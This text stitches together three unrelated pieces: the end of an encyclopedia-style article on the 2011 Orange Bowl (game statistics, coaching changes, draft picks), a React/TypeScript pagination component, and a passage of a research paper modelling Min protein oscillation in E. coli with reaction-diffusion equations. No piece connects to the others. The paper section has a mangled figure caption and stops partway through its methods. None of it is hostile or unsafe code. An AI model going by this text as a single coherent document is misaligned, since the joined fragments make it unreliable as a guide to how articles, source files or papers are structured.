Despite those players' performances, the game was decided in the running game and the performance of the two teams' offensive and defensive lines. Stanford coach Jim Harbaugh was praised for adjusting his team's strategy at halftime, allowing it to succeed in the second half. Stanford's rushing offense accounted for 247 yards, while its defensive line limited Virginia Tech to just 67 yards rushing. The Stanford defense also sacked Virginia Tech quarterback Tyrod Taylor eight times, denying him time to pass the ball accurately.
Stanford's leading rusher was Stepfan Taylor, who accumulated 114 yards on 13 carries, including a 56-yard sprint that was the second-longest run of his career. Stanford's No. 2 runner, Jeremy Stewart, had a career-high 99 rushing yards. His 60-yard touchdown run in the first quarter is the longest touchdown run in Stanford bowl-game history and the seventh-longest in Orange Bowl history. Virginia Tech's leading rusher was Darren Evans, who had 12 carries for 37 yards. Virginia Tech quarterback Tyrod Taylor was the team's No. 2 rusher, with 16 carries for 22 yards. He also completed 16 of 31 pass attempts for 222 yards and Tech's sole touchdown.
On defense, Virginia Tech's Jayron Hosley tied the school record for interceptions (9) and had the most in the nation that season when he caught an Andrew Luck pass in the first half. Tech's defense also recorded its first safety since 2008, and its blocked extra point was the first such block in Virginia Tech bowl-game history. The Hokies' leading tackler was Eddie Whitley, who had seven stops, while Stanford's leading defensive performer was Shayne Skov, who had 12 tackles, including 3 quarterback sacks.
Postgame effects
With the victory, Stanford improved to 12–1, while the loss sent Virginia Tech to 11–3. Stanford's 12 wins extended a school record for one season, and its eight-game winning streak tied for the third-longest in school history. Stanford's win was its first bowl game victory since the 1996 Sun Bowl against Michigan State, and San Francisco Chronicle football writer Tom FitzGerald declared one of the 10 all-time best Bay Area college football teams. In the final college football polls of the season, Stanford rose to No. 4, while Virginia Tech dropped to 16th in the Associated Press Poll and 15th in the USA Today coaches' poll.
Stanford's victory in the Orange Bowl caused a massive jump in the number of season ticket sales at the school. By mid-February 2011, the school reported having sold 1,400 new season tickets, as compared to just 458 in the first six months of 2010.
Following the game, some actions by Orange Bowl Committee officials came under fire as the Miami Herald revealed the nonprofit committee had spent millions of dollars on junket trips for college football administrators. The U.S. federal Internal Revenue Service subsequently began investigating the allegations. In its annual transition to new leadership, the Orange Bowl committee picked Goldman Sachs vice president Jeffrey T. Roberts to serve as its president for the 2012 game.
Coaching changes
Both teams underwent changes in leadership following the Orange Bowl. Four days after beating Virginia Tech, Stanford head coach Jim Harbaugh signed a contract as the new head coach of the National Football League's San Francisco 49ers. He was replaced as Stanford head coach by David Shaw, the team's offensive coordinator. Defensive coordinator Vic Fangio followed Harbaugh to the 49ers and was replaced by co-defensive coordinators Jason Tarver and Derek Mason, the latter also serving as associate head coach. To replace the vacated offensive coordinator position, Shaw selected Stanford wide receivers coach Pep Hamilton.
Virginia Tech's coaching changes came about a month after the Orange Bowl. On February 14, the school announced that the son of head coach Frank Beamer, Shane Beamer, had been hired as running backs coach. He replaced Billy Hite, the longest-tenured assistant coach in the country, who took an administrative role with the team. Two days later, Tech replaced 62-year-old linebackers coach Jim Cavanaugh with 35-year-old Cornell Brown. On February 22, Tech announced that offensive coordinator Bryan Stinespring had been removed from play-calling duties and replaced by quarterbacks coach Mike O'Cain. Stinespring, who also was the team's associate head coach, was replaced in that capacity by Shane Beamer.
2011 NFL Draft
For several players on each team, the Orange Bowl was their final collegiate contest before attempting to move into professional football. Two days after the Orange Bowl, Virginia Tech running back Darren Evans announced his intention to enter the NFL Draft. Three days later, fellow running back Ryan Williams made a similar move. Stanford quarterback Andrew Luck made news for not entering the draft, where he had been widely predicted to be the No. 1 selection. In interviews, he said he looked forward "to earning [his] degree in architectural design from Stanford University" and graduating in spring 2012.
The 2011 NFL Draft took place in late April, and several players from each Orange Bowl team were selected by professional squads seeking their talents. Virginia Tech's Ryan Williams was the first Orange Bowl participant selected, taken with the 38th overall pick. Tech's Rashad Carmichael (127th), and Tyrod Taylor (180th) were also selected. Stanford had four players picked in the draft: Sione Fua (97th), Owen Marecic (124th), Richard Sherman (154th), and Ryan Whalen (157th).
See also
Glossary of American football
Notes
References
Orange Bowl
Category:Orange Bowl
Category:Stanford Cardinal football bowl games
Category:Virginia Tech Hokies football bowl games
Category:January 2011 sports events in the United States |
import React from 'react';
import classNames from 'classnames';
import { DirectionButton } from 'modules/common/buttons';
import { SquareDropdown } from 'modules/common/selection';
import { PAGINATION_VIEW_OPTIONS } from 'modules/common/constants';
import Styles from 'modules/common/pagination.styles.less';
interface PaginationProps {
page: number;
itemsPerPage: number;
itemCount: number;
action: Function;
updateLimit: Function;
showLimitChanger?: boolean;
maxLimit?: number;
showPagination?: boolean;
}
interface PagesArrayObject {
page: number | null;
active: boolean;
}
const NullPage = { page: null, active: false };
export const createPagesArray = (page: number, totalPages: number) => {
if (totalPages <= 1) {
return [
{
page: 1,
active: true,
},
];
}
let ArrayToShow: Array<PagesArrayObject> = [];
const PagesArray: Array<PagesArrayObject> = [];
const SevenBefore: Array<PagesArrayObject> = [];
const SevenAfter: Array<PagesArrayObject> = [];
const maxLength = 7; // actual max is 9, 7 to figure out + first/last
for (let i = 1; i <= totalPages; i++) {
PagesArray.push({
page: i,
active: page === i,
});
}
for (let b = -8; b < -1; b++) {
if (PagesArray[page + b] && PagesArray[page + b].page !== 1) {
SevenBefore.push(PagesArray[page + b]);
}
}
for (let a = 0; a <= 6; a++) {
if (PagesArray[page + a] && PagesArray[page + a].page !== totalPages) {
SevenAfter.push(PagesArray[page + a]);
}
}
const beforeLen = SevenBefore.length;
const afterLen = SevenAfter.length;
const addPage = page !== 1 && page !== totalPages;
ArrayToShow.push(PagesArray[0]);
const beforeSlice = maxLength - afterLen - (addPage ? 1 : 0);
const newBefore =
beforeSlice > 2 ? SevenBefore.splice(-beforeSlice) : SevenBefore.splice(-3);
ArrayToShow = ArrayToShow.concat(newBefore);
if (addPage) ArrayToShow.push(PagesArray[page - 1]);
const afterSlice = maxLength - beforeLen - (addPage ? 1 : 0);
const newAfter =
afterSlice > 2 ? SevenAfter.splice(0, afterSlice) : SevenAfter.splice(0, 3);
ArrayToShow = ArrayToShow.concat(newAfter);
ArrayToShow.push(PagesArray[totalPages - 1]);
const finalLen = ArrayToShow.length;
// add Nulls as needed:
if (ArrayToShow[1].page !== 2) ArrayToShow[1] = NullPage;
if (ArrayToShow[finalLen - 2].page !== totalPages - 1) {
ArrayToShow[finalLen - 2] = NullPage;
}
return ArrayToShow;
};
const renderPageButtons = (
pagesArray: PagesArrayObject[],
action: Function
) => (
<>
{pagesArray.map((page: PagesArrayObject, index) => (
<button
key={`${page.page}${index}`}
className={classNames({ [Styles.Active]: page.active })}
onClick={() => action(page.page)}
disabled={page.page === null}
>
{page.page ? page.page : String.fromCodePoint(0x2026)}
</button>
))}
</>
);
const getLimitOptions = (itemCount: number, maxLimit: number) => {
let paginationOptions = [
{ value: maxLimit, label: PAGINATION_VIEW_OPTIONS.ALL },
{ value: 10, label: PAGINATION_VIEW_OPTIONS.TEN },
];
if (itemCount >= 50) {
paginationOptions = paginationOptions.concat({
value: 50,
label: PAGINATION_VIEW_OPTIONS.FIFTY,
});
}
if (itemCount >= 100) {
paginationOptions = paginationOptions.concat({
value: 100,
label: PAGINATION_VIEW_OPTIONS.HUNDRED,
});
}
return paginationOptions;
};
export const Pagination = ({
page,
action,
itemCount,
itemsPerPage,
updateLimit,
showLimitChanger,
maxLimit,
showPagination = true,
}: PaginationProps) => {
const totalPages =
itemsPerPage === 1 ? 1 : Math.ceil(itemCount / (itemsPerPage || 10)) || 1;
return (
<div className={Styles.Pagination}>
{showPagination && (
<section>
<DirectionButton
action={() => action(page - 1)}
left
disabled={page === 1}
/>
{renderPageButtons(createPagesArray(page, totalPages), action)}
<span>
{page} of {totalPages}
</span>
<DirectionButton
action={() => action(page + 1)}
disabled={page === totalPages || totalPages === 0}
/>
</section>
)}
{showLimitChanger && (
<SquareDropdown
large
defaultValue={itemsPerPage}
options={getLimitOptions(itemCount, maxLimit)}
onChange={updateLimit}
/>
)}
</div>
);
};
|
All relevant data are within the paper and its Supporting Information files.
Introduction {#sec001}
============
Bacterial cell division requires the precise placement and timing of the FtsZ division ring to produce two viable daughter cells \[[@pone.0128148.ref001]\]. To date, two separate negative regulators of the location of the FtsZ division ring in *Escherichia coli* have been identified: nucleoid occlusion and the Min protein system \[[@pone.0128148.ref001]\]. The Min system prevents ring formation at the poles of the rod-shaped cells by locally inhibiting FtsZ polymerization \[[@pone.0128148.ref002], [@pone.0128148.ref003]\]. To achieve this, the distribution of Min proteins forms an oscillatory spatiotemporal pattern with proteins localizing at one pole of the cell, then the other, leaving a bare zone at the centre of the cell where the divisome will form. Inhibition of the Min protein system results in asymmetric division \[[@pone.0128148.ref001]\] and leads to a proportion of contractile rings forming at the end caps, with subsequent formation of mini-cells \[[@pone.0128148.ref004]\].
The spatiotemporal patterns formed by Min proteins in bacterial cells have been observed in detail using fluorescence microscopy \[[@pone.0128148.ref005]\]. Three studies have investigated how Min patterning changes as a function of cell length in *E*. *coli* over a normal division cycle by tracking the distribution of GFP labelled MinD \[[@pone.0128148.ref006]--[@pone.0128148.ref008]\]. Although the results were qualitatively similar, significant differences were observed that appear to arise from differences in experimental conditions (the extent of MinD labelling: fully-labelled \[[@pone.0128148.ref006]\] versus partially-labelled \[[@pone.0128148.ref007]\] and the overexpression of Min proteins in the fully-labelled case \[[@pone.0128148.ref006], [@pone.0128148.ref009]\]). Differences included the period of Min oscillation and the critical cell length for cell division. The difference in oscillation period due to labelling has also been reported independently \[[@pone.0128148.ref010]\]. The differences between spatiotemporal patterns observed in the various reports \[[@pone.0128148.ref006]--[@pone.0128148.ref008]\] are likely to come from variations in Min protein expression levels \[[@pone.0128148.ref009]\] and the effects of labelling of MinD on one or more of MinD's interactions and hence its function. The latter is supported by the disappearance of the transition from stationary to oscillating patterning (seen only when MinD is fully-labelled) when MinE is fluorescently labelled instead of MinD \[[@pone.0128148.ref006]\].
Throughout and following cell division Min protein patterning is continuously maintained \[[@pone.0128148.ref006], [@pone.0128148.ref007]\]. To achieve this, approximately equal quantities of two Min proteins, MinD and MinE, must remain on either side of the septum following binary fission. While cell division is not sensitive to the absolute concentration of Min proteins (with cells overexpressing the Min operon by six- to sevenfold dividing as per wild type), it is sensitive to the ratio between MinE and MinD with a two-fold reduction in MinE relative to MinD prohibiting cell division \[[@pone.0128148.ref011]\].
*In vitro* experiments have shown that a minimal MinE-MinD ATPase system is capable of spontaneously producing spatiotemporal patterns. Combining purified MinE and MinD over an artificial planar lipid bilayer in the presence of ATP, these Min proteins spontaneously produce travelling wave patterns \[[@pone.0128148.ref012]\]. The small number of components required for patterning emphasizes that the Min system is amenable to mathematical modelling that should provide insight into cellular patterning and cell division without the need to introduce complex regulatory mechanisms. This has been reinforced *in vivo* with the deletion of MinC, the only known interaction partner of MinD and MinE, having little effect on oscillations \[[@pone.0128148.ref005]\].
The basic molecular interactions of the Min system are well understood. MinD is an ATPase that is able to bind to the lipid bilayer when it is in the MinD.ATP state \[[@pone.0128148.ref013]\]. MinD.ATP is able to dimerise \[[@pone.0128148.ref014]\] once bound to the membrane \[[@pone.0128148.ref015], [@pone.0128148.ref016]\]. Dimerisation may stabilize the membrane-bound state, giving rise to cooperativity under steady state conditions \[[@pone.0128148.ref013]\]. MinE is a bistable dimeric protein \[[@pone.0128148.ref017]\] that binds to both MinD \[[@pone.0128148.ref018]\] and transiently to the membrane when in its active state \[[@pone.0128148.ref019]\]. When bound to MinD, MinE stimulates the MinD ATPase, producing MinD.ADP which is then released from the membrane \[[@pone.0128148.ref020]\]. Thus, MinD cycles between the cytoplasm and the membrane in a cooperative, ATP dependent manner. MinE follows behind MinD on the membrane, effectively stripping MinD from the surface \[[@pone.0128148.ref021]\].
Several mathematical models for the Min system in *E*. *coli* have been proposed \[[@pone.0128148.ref022]\]. Each introduces non-linear terms to create spatio-temporal patterning. How the wave shape of the Min system changes throughout the cell cycle is likely to be heavily dependent on these non-linear reactions \[[@pone.0128148.ref023]\]. Current models of the Min system fall roughly into two classes depending on the effective non-linear interactions they introduce to induce patterning: cooperative attachment and aggregation current models \[[@pone.0128148.ref022]\].
Cooperative attachment systems introduce non-linearities into the binding and release reactions. The seminal example of this was proposed by Huang \[[@pone.0128148.ref024]\]. This model has an increase in the rate of MinD binding to the membrane proportional to the amount of MinD already bound to the membrane in both MinD monomer and MinD/E complex form. While the binding of MinD to phospholipid vesicles is cooperative \[[@pone.0128148.ref013]\], non-hydrolysable analogues of ATP show that this is a two step process \[[@pone.0128148.ref025]\]. Many variations of this model have been published, including transformation to a stochastic model \[[@pone.0128148.ref026]\] and introducing finite binding locations for MinD \[[@pone.0128148.ref027]\]. This finite binding model also has a stochastic analogue where binding is mediated by neighbouring binding sites \[[@pone.0128148.ref028]\]. Other variations include increasing the binding rate only as a function of bound MinD monomers, which has been simulated both stochastically \[[@pone.0128148.ref029]\] and deterministically \[[@pone.0128148.ref030]\], as well as incorporating MinE membrane binding \[[@pone.0128148.ref031]\]. Combined, these models have been able to recreate the majority of critical behaviour of the Min system, albeit each using independent parameter sets. Described phenomena include *in vitro* patterning \[[@pone.0128148.ref031]\], discretely observing the changes in patterning during cell division \[[@pone.0128148.ref008]\], and by modifying protein concentrations, the critical transitions of the fully-labelled Min system \[[@pone.0128148.ref031]\].
Models utilising aggregation currents primarily rely on anomalous diffusion of proteins bound to the membrane to cause the non-linearities required to give rise to spatial patterns. A classic example was developed by Meacci \[[@pone.0128148.ref032]\]. This model is built on two assumptions: there are a limited number of binding locations for MinD on the membrane and that once bound, MinD is attracted to other membrane-bound MinD molecules. This anisotropic diffusion is taken to be of the Cahn Hilliard form \[[@pone.0128148.ref033]\]. In this model, the range of MinD self-interactions is approximately 350 *nm*. Ionic shielding ensures that there is no electrostatic interaction that could act over such distances; being orders of magnitude higher than reasonable values \[[@pone.0128148.ref034]\]. While membrane mediated forces can span such distances \[[@pone.0128148.ref035]\] and MinD has been shown to deform vesicles \[[@pone.0128148.ref025]\], there is currently no evidence that the Min protein system uses this method of interaction. This model has been applied to multiple phenotypes including nearly spherical cells \[[@pone.0128148.ref036]\]. It has also been converted to a stochastic form \[[@pone.0128148.ref006]\].
In this paper, we propose a model based on potential molecular interactions of the Min proteins which are consistent with current experimental observations. In this model, membrane-binding and dimerisation of MinD provides the two-step non-linear reaction required to give rise to the observed time dependent patterning of the Min system in *E*. *coli*. The distribution of MinD as a function of cell length calculated from the model qualitatively matches experimentally observed distributions. The model accounts for changes in patterning just prior to cell division and for the equipartitioning of MinD and MinE following cell division, which maintains the same MinE to MinD ratio as the parent cell. Discrepancies between experimental observations using fully-labelled and partially-labelled MinD can be accounted for by reducing the rate constant controlling MinD ATPase and MinDE heterotetramer dissociation for the fully-labelled protein by a factor of four. Similarly, the model accurately accounts for the variation in the Min oscillation period as a function of temperature by multiplying the rate constant controlling the ATPase reaction by a Boltzmann factor. Specific features of the Min system for fully-labelled MinD, such as stationary MinD distribution in newly divided cells (length \< 2.75 *μm*), and for partially-labelled MinD, such as midcell antinodes, arise naturally from the model. In so doing, we show that while polymerization and heterogeneous reactions may be present, they are unnecessary to produce the main characteristics of the Min system *in vivo*.
Materials and Methods {#sec002}
=====================
Model Formulation {#sec003}
-----------------
Combining the mechanics for MinD dimerisation and MinE interactions, we have developed a partial differential equation (PDE) model. In the equations, the concentrations of the proteins MinD and MinE are represented by single letters: *D* and *d*, and *E* and *e*, respectively. Upper case letters (*D*, *E*) denote species in solution while lower case letters (*d*, *e*) are bound to the membrane. Dimers are indicated by a subscript '2'.
The binding of MinD to the membrane is cooperative, suggesting MinD self association \[[@pone.0128148.ref013]\]. Crystal structures of MinD demonstrate it is capable of forming a dimer in solution when ATP is bound, albeit under non-physiological conditions \[[@pone.0128148.ref014]\]. While MinD may partially dimerise in solution, FRET \[[@pone.0128148.ref015]\] and yeast two-hybrid \[[@pone.0128148.ref016]\] experiments show that MinD dimerisation is predominantly a two-step process. First, MinD monomers with ATP bound are able to bind to the membrane. Once bound, they are then able to dimerise which re-enforces the strength of the membrane binding, increasing its stability. This is depicted in the model with MinD monomers in solution (*D*) being able to bind to the membrane (*d*) before they can react to form a dimer (*d* ~*2*~)
The interactions of MinE have been characterised to a lesser extent. MinE is always found as a dimer. Crystal \[[@pone.0128148.ref018], [@pone.0128148.ref037]\] and NMR \[[@pone.0128148.ref017], [@pone.0128148.ref038]\] structures show a dramatic change in structure of MinE between its inactive solution state and its active state that is capable of binding MinD to form a MinD/E heterotetramer on the membrane.
There is evidence for the membrane binding of MinE being both a one and two step transition with the MinE dimer in solution (*E* ~*2*~) being able to bind directly to both the membrane (*e* ~*2*~), as well as membrane-bound MinD dimers to form a heterotetramer \[[@pone.0128148.ref019]\]. Either of these pathways on its own is sufficient to reproduce the experimental data (see [S1 Text](#pone.0128148.s011){ref-type="supplementary-material"} for a direct comparison). Thus, there is no gain in having both pathways. We did not include the two pathways in our model as it was not worth the increase in parameter space, and the probable over-fitting that would result. We have simplified our model by assuming that MinE binding to the membrane is the dominant pathway, and hence all MinE first binds to the membrane before reacting with MinD. The importance of MinE membrane binding has also been demonstrated theoretically with MinE processivity being a critical component in other modern models of the Min system \[[@pone.0128148.ref031], [@pone.0128148.ref039]\].
The configuration of the MinE dimer when it is bound to the membrane is not known. It could be active or inactive with respect to its ability to activate MinD and it is possible that the two MinE monomers are conformationally distinct. We assume that when membrane-bound, MinE is in the active conformation but only one of the two MinE monomers is able to interact with membrane-bound MinD at one time. We ignore the possibility of MinE and MinD to form a heteropolymer where both MinE monomers bind to and activate MinD simultaneously. Such polymers are seen in the MinD/E heterotetramer crystal structure \[[@pone.0128148.ref019]\], however, we note that there is a 90° rotation between successive MinD dimers in the crystal due the four-fold screw axis. This may preclude the formation of such heteropolymers when both MinD and MinE are tethered to the cell membrane.
Whether MinE is able to interact with MinD monomers is also unknown. As the ATP binding domain is part of the dimer interface, it is unlikely that any such interaction would stimulate ATP hydrolysis, however it may still instigate the release of MinD from the membrane. We assume that this is the case. It is possible to exclude this reaction and still have patterning, however, to date, all models without this interaction suffer the same problem as previous models, that is, they fail to reproduce patterning that is consistent with experimental kymographs.
MinE binding to a single site of MinD is sufficient to catalyze the hydrolysis of both ATP molecules in the dimer \[[@pone.0128148.ref040]\]. MinD hydrolysis causes the complex to dissociate. MinD in its ADP state returns to the cytosol as monomers (*D*) while MinE remains on the membrane as a homodimer (*e* ~*2*~). This entire ATP hydrolysis and MinD dissociation process is modelled by a single reaction characterised by the rate constant *ω* ~*hydr*~. The ability of two MinE dimers to bind simultaneously to a single MinD dimer is ignored as it is not required for ATPase activation.
We have made further simplifying assumptions to reduce the size of the parameter space of the model. In solution MinD exists in both an active MinD.ATP and an inactive MinD.ADP state. The inclusion of both of these states does not affect simulations greatly, and so, in our model we assumed that all MinD in solution is in the active state. The release of MinD monomers from the membrane was assumed to be essentially instantaneous upon interaction with MinE.
To summarise, the model is governed by the following reactions: MinE dimer in solution (*E* ~*2*~) is able to bind to the membrane (*e* ~*2*~) and, in turn, can be released back into the cytosol. MinD monomer in solution (*D*) can bind to the membrane (*d*). Membrane-bound MinD (*d*) can either form a dimer (*d* ~2~) or bind to membrane-bound MinE (*e* ~*2*~), which stimulates the MinD monomer's release from the membrane. The MinD dimer (*d* ~*2*~) can form a heterotetramer complex (*d* ~*2*~ *e* ~*2*~) by binding the membrane-bound MinE homodimer (*e* ~*2*~). In the heterotetramer (*d* ~*2*~ *e* ~*2*~) MinD hydrolyses ATP causing the complex to dissociate with MinD being released into the cytosol as monomers (*D*) while MinE returns to being a membrane-bound homodimer (*e* ~*2*~). These simplified reactions are shown schematically in [Fig 1](#pone.0128148.g001){ref-type="fig"}.
{ref-type="table"}.](pone.0128148.g001){#pone.0128148.g001}
Where possible, parameters have been constrained to fit experimental measurements. Free parameters were found using a genetic algorithm that rated the fitness of parameter sets by the existence of critical transitions within the relevant cell length ranges. The transitions were: that from the stationary to oscillating patterning at 2.7 *μ*m; the transition from the first to the second order mode at 5.5 *μ*m; and the transition to midcell antinodes in the partially-labelled system at 3 *μ*m. Determining the free parameters was achieved by solving for a reduced one-dimensional version of the equations at fixed lengths 0.25 *μm* either side of each transition. All parameters are unaffected, however, the cytosolic states are approximated as homogeneous radially and a coordinate transform is used to project the membrane diffusion onto a one-dimensional line. The resulting parameters and the reactions they control are summarised in [Table 1](#pone.0128148.t001){ref-type="table"}.
10.1371/journal.pone.0128148.t001
###### Rate Parameters and Reactions Summary.
{#pone.0128148.t001g}
Rate Reaction Value Min[^a^](#t001fn001){ref-type="table-fn"} Max[^a^](#t001fn001){ref-type="table-fn"} Measured Units
-------------- -------------------------------------------------------- ------- ------------------------------------------- ------------------------------------------- ----------------------------------------------------------------------- -------------------
*ω* ~*db*~ MinD binding to membrane 4 0.85 19 *μm s* ^-1^
*ω* ~*edf*~ MinD-MinE complex formation 22 8 38 *μm* ^2^ *s* ^-1^
*ω* ~dim~ MinD dimerisation 0.002 0.001 0.008 *μm* ^2^ *s* ^-1^
*ω* ~*hydr*~ Fully-labelled MinD ATPase & tetramer dissociation 0.12 0.075 0.36 *s* ^-1^
*ω* ~*hydr*~ Partially-labelled MinD ATPase & tetramer dissociation 0.5 *s* ^-1^
*ω* ~*eb*~ MinE binding to membrane 0.07 0.02 0.35 ⪡*ω* ~*er*~ · *μm* \[[@pone.0128148.ref019]\] *μm s* ^-1^
*ω* ~*er*~ MinE release from the membrane 30 15 100 ⪢*ω* ~*eb*~ · *μm* ^-1^ \[[@pone.0128148.ref019]\] *s* ^-1^
*D* ~*D*~ Diffusion of labelled MinD in solution 16 4 \>1000 \~16 \[[@pone.0128148.ref041]\] *μm* ^2^ *s* ^-1^
*D* ~*D*~ Diffusion of unlabelled MinD in solution 24 4 \>1000 \~24 \[[@pone.0128148.ref041]\][^b^](#t001fn002){ref-type="table-fn"} *μm* ^2^ *s* ^-1^
*D* ~*E*~ Diffusion of MinE in solution 20 0.625 \>1000 \~20 \[[@pone.0128148.ref041]\][^b^](#t001fn002){ref-type="table-fn"} *μm* ^2^ *s* ^-1^
*D* ~*m*~ Diffusion of membrane-bound states 0.1 0.02 0.195 \~0.2 \[[@pone.0128148.ref041]\] *μm* ^2^ *s* ^-1^
^a^Minimal and Maximal values that support first order Min oscillations in the fully labelled system at 3.5 *μm*.
^b^Calculated from experimental measurements on GFP-labelled fusion proteins.
MinE strongly favours its inactive state in solution, with membrane-bound MinE homodimers being highly unstable and hence only existing transiently \[[@pone.0128148.ref017]\]. This is reflected in our model by having the rate of release of bound MinE homodimers (*ω* ~*er*~) exceeding their rate of binding (*ω* ~*eb*~). As seen in [Table 1](#pone.0128148.t001){ref-type="table"}, the ratio of these rates is 430 *μm* ^-1^. So at equilibrium in the absence of MinD, 99.75% of MinE will remain in the cytoplasm.
To date, no experiment has been performed to differentiate between the rate at which MinE interacts with membrane-bound MinD monomers versus dimers. With no other information, we assume the same association rate, *ω* ~*edf*~, for both species. This approximation also helps to minimize the size of the parameter space of the model.
All reactions in this model will have associated back rates, which have been set to zero so as to simplify the model and reduce the parameter space. There are also other reactions that are may occur (including MinD dimerisation in solution) which are also not included as experimental evidence suggests that they are not the prevalent interactions of the physical system \[[@pone.0128148.ref015], [@pone.0128148.ref016]\].
The diffusion coefficients of the fluorescent cytoplasmic MinD-GFP and MinE-GFP fusion proteins have been measured *in vivo* as 16 and 10 *μm* ^2^ *s* ^-1^, respectively \[[@pone.0128148.ref041]\]. This value for the MinD-GFP diffusion constant, *D* ~*D*~, was used in our simulations of the Min system where all of MinD is labelled.
For cytoplasmic MinE and for unlabelled MinD, the difference in the diffusion coefficient between the GFP labelled and unlabelled protein can be approximated. MinE-GFP is approximately four times the size of the wild type MinE (88 versus 326 amino acids). If both of these proteins were spherical this difference in size would result in wild type MinE having twice the diffusion coefficient measured for MinE-GFP \[[@pone.0128148.ref042]\], that is, *D* ~*E*~ approximately 20 *μm* ^2^ *s* ^-1^. By a similar argument, the unlabelled diffusion constant for MinD, D~*D*~, is approximately 24 *μm* ^2^ *s* ^-1^.
Membrane-bound diffusion coefficients are modelled by a single parameter *D* ~*m*~. In reality each membrane-bound species would have a different diffusion coefficient depending on the type of complex within which it resides. In our model, we assume that the diffusion coefficient of each membrane-bound species varies according to the inverse of the number of membrane targeting sequences present in the complex (i.e. MinD monomer, dimer, MinE dimer and the MinDE heterotetramer will have diffusion coefficients of 1, ½, ½, and ¼ D~*m*~, respectively). This relationship was determined experimentally using single molecule measurements of diffusion coefficients for engineered proteins containing one to three pleckstrin homology domains coupled by flexible linkers \[[@pone.0128148.ref043]\]. The reduced diffusion rate of larger complexes (dimers and tetramers) effectively causes a slight agglomeration of the Min system. Although this is not required for this model to function, it has been used as the basis for other aggregation current models which utilize anomalous diffusion to give rise to Min patterning \[[@pone.0128148.ref022]\].
As protein synthesis and degradation are not important for patterning during *E*. *coli* cell division \[[@pone.0128148.ref005]\], the average concentrations of both proteins in the cell were set to constant values, for MinD 1389 *μm* ^-3^ (2.3 *μM)* and for MinE homodimers 486 *μm* ^-3^ (0.8 *μM)* (that is, 972 *μm* ^-3^ of MinE monomers), consistent with reported values \[[@pone.0128148.ref044]\]. In growing domain simulations we maintained a constant average Min concentration in the cell through spatially homogenous protein production added to cytoplasmic *D* and *E* ~*2*~ states for MinD and MinE, respectively. These approximations are commensurate with previous models \[[@pone.0128148.ref024]\].
We note that the absolute concentrations of MinD and MinE used in our simulations may not correspond to the actual concentrations in the fully-labelled MinD experiments \[[@pone.0128148.ref006]\], where both MinD and MinE were overexpressed in *E*. *coli* strain JS964 containing the plasmid pAM238 encoding for MinE and GFP-MinD under the control of the lac promoter \[[@pone.0128148.ref045]\]. Due to overexpression, the actual concentrations may be higher \[[@pone.0128148.ref009]\], however, they were not measured. Higher concentrations of MinD and MinE can be compensated in our partial differential equation model by rescaling only two parameters: *ω* ~*edf*~ and *ω* ~dim~ which control the only non-linear terms. Dividing each of these rate constants by the ratio of the actual Min protein concentrations and our assumed values will leave the form of the solutions (as presented in the kymographs) unchanged.
We assume an idealized geometry for an *E*. *coli* cell to be a cylinder with spherical end caps. The radius of the cylinder and end caps was fixed at 0.5 *μm* with the length of the cylinder varying depending on the simulation.
The membrane was taken as the two dimensional manifold given by the boundary of the cytoplasm. This manifold is denoted by **M** in the equations where **x** denotes the position within the cytoplasm. As a result, the Dirac delta function in the equations, *δ*(\|\|**x**---**M**\|\|) defines a thin region of cytoplasm close to the membrane within which aqueous species can interact with the membrane.
The resulting model can be written as a set of partial differential reaction-diffusion equations: $$\begin{array}{l}
{\partial_{t}D = \delta\left( \left\| {\mathbf{x} - \mathbf{M}} \right\| \right)\left( {\omega_{edf}e_{2} \cdot d + 2\omega_{hydr}d_{e}e_{2} - \omega_{db}D} \right) + D_{D}\nabla^{2}D} \\
{\partial_{t}E_{2} = \delta\left( \left\| {\mathbf{x} - \mathbf{M}} \right\| \right)\left( {\omega_{er}e_{2} - \omega_{eb}E_{2}} \right) + D_{E}\nabla^{2}E_{2}} \\
{\partial_{t}d = \omega_{db}D - 2\omega_{\text{dim}}d^{2} - \omega_{edf}e_{2} \cdot d + D_{m}\nabla^{2}d} \\
{\partial_{t}d_{2} = \omega_{\text{dim}}d^{2} - \omega_{edf}e_{2} \cdot d_{2} + \frac{1}{2}D_{m}\nabla^{2}d_{2}} \\
{\partial_{t}e_{2} = - \omega_{er}e_{2} + \omega_{eb}E_{2} - \omega_{edf}e_{2} \cdot d_{2} + \omega_{hydr}d_{2}e_{2} + \frac{1}{2}D_{m}\nabla^{2}e_{2}} \\
{\partial_{t}d_{2}e_{2} = \omega_{edf}e_{2} \cdot d_{2} - \omega_{hydr}d_{2}e_{2} + \frac{1}{4}D_{m}\nabla^{2}d_{2}e_{2}} \\
\\
\end{array}$$ where we note that *d* ~*2*~ *e* ~*2*~ represents the concentration of the MinDE heterotetramer (and not the product of the concentrations of MinD and MinD dimers, which is represented by *e* ~2~⋅*d* ~2~). The robustness of the parameter set (summarised in [Table 1](#pone.0128148.t001){ref-type="table"}) to variation was investigated. Whilst holding the remainder of the parameters constant, each parameter was varied until the system was no longer maintained a definite node at the middle of 3.5 *μm* cell. Minimum and maximum values attained for each parameter are shown in [Table 1](#pone.0128148.t001){ref-type="table"}.
Solving the PDEs {#sec004}
----------------
Solving the partial differential equations utilized the numerical software FlexPDE (version 6.32, PDE Solutions Inc.). Within this software, the cell geometry was reduced to two dimensions by assuming that solutions were cylindrically symmetric about the major axis of the cell. The Dirac delta function on the membrane was approximated by a rectangular function with the step occurring 0.05 *μm* from the boundary. FlexPDE cannot handle the coupling between a three-dimensional volume and a two-dimensional manifold, so the membrane was approximated by a thin three-dimensional shell. A similar approximation has been used in other models \[[@pone.0128148.ref029]\]. The model parameters were scaled to make the resulting reactions independent of the width of this shell. To do this, for each reaction occurring on the membrane, the concentration of each membrane-bound protein was multiplied by the width of the shell. Each complete reaction was then divided by the width of the shell. Finally each resulting constant was then incorporated into the parameter associated with that reaction for the simulation.
Growing Cell Simulations {#sec005}
------------------------
In growing domain experiments, the cells are grown linearly in time by stretching the cylindrical section of the cell. If the equations were solved under these conditions, particles would effectively be created in the growing cylindrical section in proportion to their concentrations. As the system is not homogeneous, this would result in an alteration of the overall protein concentrations.
Two steps are taken to remedy the above problem. To avoid creating particles as a result of the physical growth process, a decay term was added to each state in the cylinder section of the domain, taking the form of -*growth rate · species/length of cylinder*. As a second step, the overall concentrations of MinD and MinE are maintained through homogenous production of cytoplamic MinD and MinE throughout the entire cell (see Model Formulation above).
